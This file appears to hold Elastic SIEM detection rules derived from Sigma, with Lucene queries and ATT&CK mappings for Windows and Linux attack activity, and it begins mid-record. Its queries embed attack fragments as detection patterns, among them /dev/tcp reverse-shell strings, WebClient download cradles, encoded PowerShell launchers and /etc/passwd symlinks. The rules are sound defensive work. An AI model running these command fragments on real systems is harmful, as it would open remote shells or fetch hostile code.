"author": ["Marie Euler"], "license": ""}
{"description": "Detects suspicious activity in which the MSExchangeMailboxReplication process writes .asp and .apsx files to disk, which could be a sign of ProxyShell exploitation", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "afff7ffa-2ccb-7c3b-b244-8d6c1f10bba7", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious MSExchangeMailboxReplication ASPX Write", "query": "(process.executable:*\\\\MSExchangeMailboxReplication.exe AND file.path:(*.aspx OR *.asp))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Initial Access", "T1190", "T1505"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}, {"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1505", "name": "Server Software Component", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious addition to BitLocker related registry keys via the reg.exe utility", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "bc5b4d65-5d52-cf97-3073-f5adb08537dd", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Reg Add BitLocker", "query": "(process.command_line.text:*REG* AND process.command_line.text:*ADD* AND process.command_line.text:*\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\FVE* AND process.command_line.text:*\\/v* AND process.command_line.text:*\\/f* AND process.command_line.text:(*EnableBDEWithNoTPM* OR *UseAdvancedStartup* OR *UseTPM* OR *UseTPMKey* OR *UseTPMKeyPIN* OR *RecoveryKeyMessageSource* OR *UseTPMPIN* OR *RecoveryKeyMessage*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1486"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1486", "name": "Data Encrypted for Impact", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detects suspicious aged finger.exe tool execution often used in malware attacks nowadays", "enabled": false, "false_positives": ["Admin activity (unclear what they do nowadays with finger.exe)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "1283521f-ce6e-d67f-fb1e-8aa1fc0ad74d", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Finger.exe Suspicious Invocation", "query": "process.executable:*\\\\finger.exe", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1105"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "omkar72", "oscd.community"], "license": ""}
{"description": "Detects suspicious calls of DLLs in rundll32.dll exports by ordinal", "author": ["Florian Roth"], "enabled": false, "false_positives": ["False positives depend on scripts and administrative tools used in the monitored environment", "Windows control panel elements have been identified as source (mmc)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a65b7b64-ce87-06a2-ee29-dd2b378cbc12", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Call by Ordinal", "query": "((process.executable.text:*\\\\rundll32.exe AND process.command_line.text:(*,#* OR *,\\ #* OR *.dll\\ #* OR *.ocx\\ #*)) AND (NOT (((process.command_line.text:*EDGEHTML.dll* AND process.command_line.text:*#141*)) OR ((process.parent.executable.text:(*\\\\Msbuild\\\\Current\\\\Bin\\\\* OR *\\\\VC\\\\Tools\\\\MSVC\\\\* OR *\\\\Tracker.exe*) AND process.command_line.text:(*\\\\FileTracker32.dll,#1* OR *\\\\FileTracker32.dll\\\",#1* OR *\\\\FileTracker64.dll,#1* OR *\\\\FileTracker64.dll\\\",#1*))))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", "", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects suspicious change of file privileges with chown and chmod commands", "enabled": false, "false_positives": ["Legitimate administration activities"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "4deda6a6-d629-c449-d27e-fd44e1978716", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Setuid and Setgid", "query": "(*chown\\ root* AND (*\\ chmod\\ u\\+s* OR *\\ chmod\\ g\\+s*))", "meta": {"from": "1m"}, "severity": "low", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["\u00d6mer G\u00fcnal"], "license": ""}
{"description": "Detects suspicious characters in the command line, which could be a sign of obfuscation", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "2c0d2d7b-30d6-4d14-9751-7b9113042ab9", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Characters in CommandLine", "query": "(process.command_line:(*\u02e3* OR *\u02ea* OR *\u02e2*) OR process.command_line:(*\u2215* OR *\u2044*) OR process.command_line:(*\u2015* OR *\u2014*))", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "license": ""}
{"description": "Detects suspicious child process creations of VMware Tools process which may indicate persistence setup", "enabled": false, "false_positives": ["Legitimate use by adminstrator"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "26a1bcbe-ef96-d7ae-4a94-d66467ec712a", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "VMToolsd Suspicious Child Process", "query": "((process.parent.executable:*\\\\vmtoolsd.exe AND (process.executable:(*\\\\cmd.exe OR *\\\\powershell.exe OR *\\\\pwsh.exe OR *\\\\rundll32.exe OR *\\\\regsvr32.exe OR *\\\\wscript.exe OR *\\\\cscript.exe) OR winlog.event_data.OriginalFileName:(\"Cmd.Exe\" OR \"PowerShell.EXE\" OR \"pwsh.dll\" OR \"RUNDLL32.EXE\" OR \"REGSVR32.EXE\" OR \"wscript.exe\" OR \"cscript.exe\"))) AND (NOT (process.command_line:(*\\\\VMware\\\\VMware\\ Tools\\\\poweron\\-vm\\-default.bat* OR *\\\\VMware\\\\VMware\\ Tools\\\\poweroff\\-vm\\-default.bat* OR *\\\\VMware\\\\VMware\\ Tools\\\\resume\\-vm\\-default.bat* OR *\\\\VMware\\\\VMware\\ Tools\\\\suspend\\-vm\\-default.bat*))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["behops", "Bhabesh Raj"], "license": ""}
{"description": "Detects suspicious child processes of SysAidServer (as seen in MERCURY threat actor intrusions)", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e1554790-5ff0-f023-d61b-15ab357e7cab", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious SysAidServer Child", "query": "(process.parent.executable.text:(*\\\\java.exe OR *\\\\javaw.exe) AND process.parent.command_line.text:*SysAidServer*)", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious child processes of the Microsoft OneNote application. This may indicate an attempt to execute malicious embedded objects from a .one file.", "author": ["Tim Rauch (rule)", "Elastic (idea)"], "enabled": false, "false_positives": ["File located in the AppData folder with trusted signature"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a8f61df2-8cba-d536-c8a0-f1149f935abd", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Microsoft OneNote Child Process", "query": "(process.parent.executable.text:*\\\\onenote.exe AND ((((winlog.event_data.OriginalFileName:(\"RUNDLL32.exe\" OR \"REGSVR32.exe\" OR \"bitsadmin.exe\" OR \"CertUtil.exe\" OR \"InstallUtil.exe\" OR \"schtasks.exe\" OR \"wmic.exe\" OR \"cscript.exe\" OR \"wscript.exe\" OR \"CMSTP.EXE\" OR \"Microsoft.Workflow.Compiler.exe\" OR \"RegAsm.exe\" OR \"RegSvcs.exe\" OR \"MSHTA.EXE\" OR \"Msxsl.exe\" OR \"IEExec.exe\" OR \"Cmd.Exe\" OR \"PowerShell.EXE\" OR \"HH.exe\" OR \"javaw.exe\" OR \"pcalua.exe\" OR \"curl.exe\" OR \"ScriptRunner.exe\" OR \"CertOC.exe\" OR \"WorkFolders.exe\" OR \"odbcconf.exe\" OR \"msiexec.exe\" OR \"msdt.exe\")) OR (process.executable.text:(*\\\\rundll32.exe OR *\\\\regsvr32.exe OR *\\\\bitsadmin.exe OR *\\\\certutil.exe OR *\\\\installutil.exe OR *\\\\schtasks.exe OR *\\\\wmic.exe OR *\\\\cscript.exe OR *\\\\wscript.exe OR *\\\\cmstp.exe OR *\\\\Microsoft.Workflow.Compiler.exe OR *\\\\regasm.exe OR *\\\\regsvcs.exe OR *\\\\mshta.exe OR *\\\\msxsl.exe OR *\\\\ieexec.exe OR *\\\\cmd.exe OR *\\\\powershell.exe OR *\\\\hh.exe OR *\\\\javaw.exe OR *\\\\pcalua.exe OR *\\\\curl.exe OR *\\\\scriptrunner.exe OR *\\\\certoc.exe OR *\\\\workfolders.exe OR *\\\\odbcconf.exe OR *\\\\msiexec.exe OR *\\\\msdt.exe)))) OR ((process.executable.text:*\\\\explorer.exe AND process.command_line.text:(*.hta* OR *.vb* OR *.wsh* OR *.js* OR *.ps* OR *.scr* OR *.pif* OR *.bat* OR *.cmd*))) OR (process.executable.text:(*\\\\AppData\\\\* OR *\\\\Users\\\\Public\\\\* OR *\\\\ProgramData\\\\* OR *\\\\Windows\\\\Tasks\\\\* OR *\\\\Windows\\\\Temp\\\\* OR *\\\\Windows\\\\System32\\\\Tasks\\\\*))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Initial Access", "T1566", "T1566"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1566", "name": "Phishing", "reference": ""}, {"id": "T1566", "name": "Phishing", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects suspicious child processes spawned by PowerShell", "author": ["Florian Roth", "Tim Shelton"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b01626a2-eb68-c25d-82cd-024421d0baf2", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious PowerShell Child Processes", "query": "((process.parent.executable.text:(*\\\\powershell.exe OR *\\\\pwsh.exe OR *\\\\powershell_ise.exe) AND process.executable.text:(*\\\\sh.exe OR *\\\\bash.exe OR *\\\\schtasks.exe OR *\\\\certutil.exe OR *\\\\bitsadmin.exe OR *\\\\wscript.exe OR *\\\\cscript.exe OR *\\\\scrcons.exe OR *\\\\regsvr32.exe OR *\\\\hh.exe OR *\\\\wmic.exe OR *\\\\mshta.exe OR *\\\\rundll32.exe OR *\\\\forfiles.exe OR *\\\\scriptrunner.exe)) AND (NOT ((process.parent.command_line.text:*\\\\Program\\ Files\\\\Amazon\\\\WorkspacesConfig\\\\Scripts\\\\* AND process.command_line.text:*\\\\Program\\ Files\\\\Amazon\\\\WorkspacesConfig\\\\Scripts\\\\*))))", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects suspicious children of application launched from inside the WindowsApps directory. This could be a sign of a rogue \".appx\" package installation/execution", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "28b1719e-3242-aa60-bde5-c746eb6271f9", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Windows App Activity", "query": "(process.parent.executable.text:*C\\:\\\\Program\\ Files\\\\WindowsApps\\\\* AND ((process.executable.text:(*\\\\poweshell.exe OR *\\\\pwsh.exe OR *\\\\rundll32.exe OR *\\\\regsvr32.exe OR *\\\\mshta.exe OR *\\\\cscript.exe OR *\\\\wscript.exe)) OR (process.command_line.text:(*cmd\\ \\/c* OR *Invoke\\-* OR *Base64*))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects suspicious children spawned via the Windows Terminal application which could be a sign of persistence via WindowsTerminal (see referneces section)", "enabled": false, "false_positives": ["Other legitimate \"Windows Terminal\" profiles"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "fc5725cf-6310-2b92-95b0-c3f201c59909", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious WindowsTerminal Child Processes", "query": "((process.parent.executable.text:*\\\\WindowsTerminal.exe AND (process.executable.text:(*\\\\rundll32.exe OR *\\\\regsvr32.exe OR *\\\\certutil.exe OR *\\\\cscript.exe OR *\\\\wscript.exe OR *\\\\csc.exe) OR process.executable.text:(*C\\:\\\\Users\\\\Public\\\\* OR *\\\\Downloads\\\\* OR *\\\\Desktop\\\\* OR *\\\\AppData\\\\Local\\\\Temp\\\\* OR *\\\\Windows\\\\TEMP\\\\*) OR process.command_line.text:(*\\ iex\\ * OR *Invoke\\-* OR *Import\\-Module* OR *DownloadString\\(* OR *\\ \\/c\\ * OR *\\ \\/k\\ *))) AND (NOT ((process.command_line.text:*Import\\-Module* AND process.command_line.text:*Microsoft.VisualStudio.DevShell.dll* AND process.command_line.text:*Enter\\-VsDevShell*) OR (process.command_line.text:*\\\\AppData\\\\Local\\\\Packages\\\\Microsoft.WindowsTerminal_* AND process.command_line.text:*\\\\LocalState\\\\settings.json*))))", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects suspicious command line activity on Windows systems", "enabled": false, "false_positives": ["Inventory tool runs", "Administrative activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9c0b441a-cc4b-fbbf-8540-0047b440f026", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Reconnaissance Activity", "query": "process.command_line:(*net\\ group\\ \\\"domain\\ admins\\\"* OR *net\\ localgroup\\ administrators* OR *net\\ group\\ \\\"enterprise\\ admins\\\"* OR *net\\ accounts\\ \\/do*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1087", "T1087"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1087", "name": "Account Discovery", "reference": ""}, {"id": "T1087", "name": "Account Discovery", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "omkar72", "@svch0st"], "license": ""}
{"description": "Detects suspicious command line arguments of common data compression tools", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "89d4442d-ee83-c359-55f2-3ddce627aefb", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Compression Tool Parameters", "query": "((winlog.event_data.OriginalFileName:(7z*.exe OR *rar.exe OR *Command*Line*RAR*) AND process.command_line:(*\\ \\-p* OR *\\ \\-ta* OR *\\ \\-tb* OR *\\ \\-sdel* OR *\\ \\-dw* OR *\\ \\-hp*)) AND (NOT (process.parent.executable:C\\:\\\\Program*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1560"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0009", "reference": "", "name": "Collection"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1560", "name": "Archive Collected Data", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "Samir Bousseaden"], "license": ""}
{"description": "Detects suspicious command line in which a user gets added to the local Remote Desktop Users group", "enabled": false, "false_positives": ["Administrative activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "2a17f981-0bb8-9aac-f369-bf003a285337", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Add User to Remote Desktop Users Group", "query": "(((process.command_line.text:*localgroup\\ * AND process.command_line.text:*\\ \\/add*) OR (process.command_line.text:*Add\\-LocalGroupMember\\ * AND process.command_line.text:*\\ \\-Group\\ *)) AND process.command_line.text:(*Remote\\ Desktop\\ Users* OR *Utilisateurs\\ du\\ Bureau\\ \u00e0\\ distance* OR *Usuarios\\ de\\ escritorio\\ remoto*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Lateral Movement", "T1021", "T1133", "T1136"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1133", "name": "External Remote Services", "reference": ""}, {"id": "T1136", "name": "Create Account", "reference": ""}]}, {"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1021", "name": "Remote Services", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious command line patterns as seen being used by MERCURY threat actor", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "83413bcf-0e4f-6a29-ba84-79da56fbd0ef", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "MERCURY Command Line Patterns", "query": "(process.command_line.text:*\\-exec\\ bypass\\ \\-w\\ 1\\ \\-enc* AND process.command_line.text:*UwB0AGEAcgB0AC0ASgBvAGIAIAAtAFMAYwByAGkAcAB0AEIAbABvAGMAaw*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious command line patterns used when rundll32 is used to run JavaScript code", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d4e464b0-01cd-84f6-ee0c-a493b99de71a", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Rundll32 JS RunHTMLApplication Pattern", "query": "((process.command_line:*rundll32* AND process.command_line:*javascript* AND process.command_line:*..\\\\..\\\\mshtml,RunHTMLApplication*) OR process.command_line:*;document.write\$\$;GetObject\\(\\\"script*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious command line reg.exe tool adding key to RUN key in Registry", "enabled": false, "false_positives": ["Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reasons.", "Legitimate administrator sets up autorun keys for legitimate reasons.", "Discord"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b0f079b6-8db4-6aab-be93-434f8bafce84", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Reg Add RUN Key", "query": "(process.command_line.text:*reg* AND process.command_line.text:*\\ ADD\\ * AND process.command_line.text:*Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1547"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1547", "name": "Boot or Logon Autostart Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious command line that adds an account to the local administrators/administrateurs group", "enabled": false, "false_positives": ["Administrative activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9fedc58f-551b-e2dd-fd84-877061c01605", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Add User to Local Administrators", "query": "(((process.command_line.text:*localgroup\\ * AND process.command_line.text:*\\ \\/add*) OR (process.command_line.text:*Add\\-LocalGroupMember\\ * AND process.command_line.text:*\\ \\-Group\\ *)) AND process.command_line.text:(*\\ administrators\\ * OR *\\ administrateur*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1098"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1098", "name": "Account Manipulation", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "Nasreddine Bencherchali"], "license": ""}
{"description": "Detects suspicious command line to remove and 'exe' or 'dll'", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a29f5730-dc5b-1de4-a13c-1acdef3ff340", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Del in CommandLine", "query": "(process.command_line.text:*del\\ * AND ((process.command_line.text:*\\*.exe* AND process.command_line.text:*\\/f\\ * AND process.command_line.text:*\\/q\\ *) OR (process.command_line.text:*\\*.dll* AND process.command_line.text:*C\\:\\\\ProgramData\\\\*)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1070"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1070", "name": "Indicator Removal on Host", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detects suspicious command lines that look as if they would create symbolic links to /etc/passwd", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "3334958f-ab07-a9e9-6b79-ab9bb4abe78f", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Symlink Etc Passwd", "query": "(*ln\\ \\-s\\ \\-f\\ \\/etc\\/passwd* OR *ln\\ \\-s\\ \\/etc\\/passwd*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1204"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1204", "name": "User Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious command lines used in Covenant luanchers", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d42f10f2-2615-59eb-26c2-4519980bcb85", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Covenant Launcher Indicators", "query": "((process.command_line:*\\-Sta* AND process.command_line:*\\-Nop* AND process.command_line:*\\-Window* AND process.command_line:*Hidden* AND process.command_line:(*\\-Command* OR *\\-EncodedCommand*)) OR process.command_line:(*sv\\ o\\ \$New\\-Object\\ IO.MemorySteam\$;sv\\ d\\ * OR *mshta\\ file.hta* OR *GruntHTTP* OR *\\-EncodedCommand\\ cwB2ACAAbwAgA*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1059", "T1564"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1564", "name": "Hide Artifacts", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "Jonhnathan Ribeiro", "oscd.community"], "license": ""}
{"description": "Detects suspicious command sequence that JexBoss", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "0ad59b63-5077-bb02-6541-774939dba5c4", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "JexBoss Command Sequence", "query": "(*bash\\ \\-c\\ \\/bin\\/bash* AND *&\\/dev\\/tcp\\/*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious command with /dev/tcp", "author": ["frack113"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "15f6095d-d912-da37-073a-03fe89479e61", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Use of /dev/tcp", "query": "((*cat /dev/tcp/*) OR (*echo >/dev/tcp/*) OR (*bash -i >& /dev/tcp/*) OR (*sh -i >& /dev/udp/*) OR (*0<&196;exec 196<>/dev/tcp/*) OR (*exec 5<>/dev/tcp/*) OR (*(sh)0>/dev/tcp/*) OR (*bash -c 'bash -i >& /dev/tcp/*) OR (*echo -e '#!/bin/bash\\nbash -i >& /dev/tcp/*))", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects suspicious commands that are related to scripting/powershell in WMI Event Consumers", "enabled": false, "false_positives": ["Legitimate administrative scripts"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "bc0c5816-1bd9-edb2-e78c-c72d3b77f9fe", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Scripting in a WMI Consumer", "query": "((Destination:*new\\-object* AND Destination:*net.webclient* AND Destination:*.downloadstring*) OR (Destination:*new\\-object* AND Destination:*net.webclient* AND Destination:*.downloadfile*) OR Destination:(*\\ iex\\(* OR *WScript.shell* OR *\\ \\-nop\\ * OR *\\ \\-noprofile\\ * OR *\\ \\-decode\\ * OR *\\ \\-enc\\ *) OR Destination:(*WScript.Shell* OR *System.Security.Cryptography.FromBase64Transform*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "Jonhnathan Ribeiro"], "license": ""}
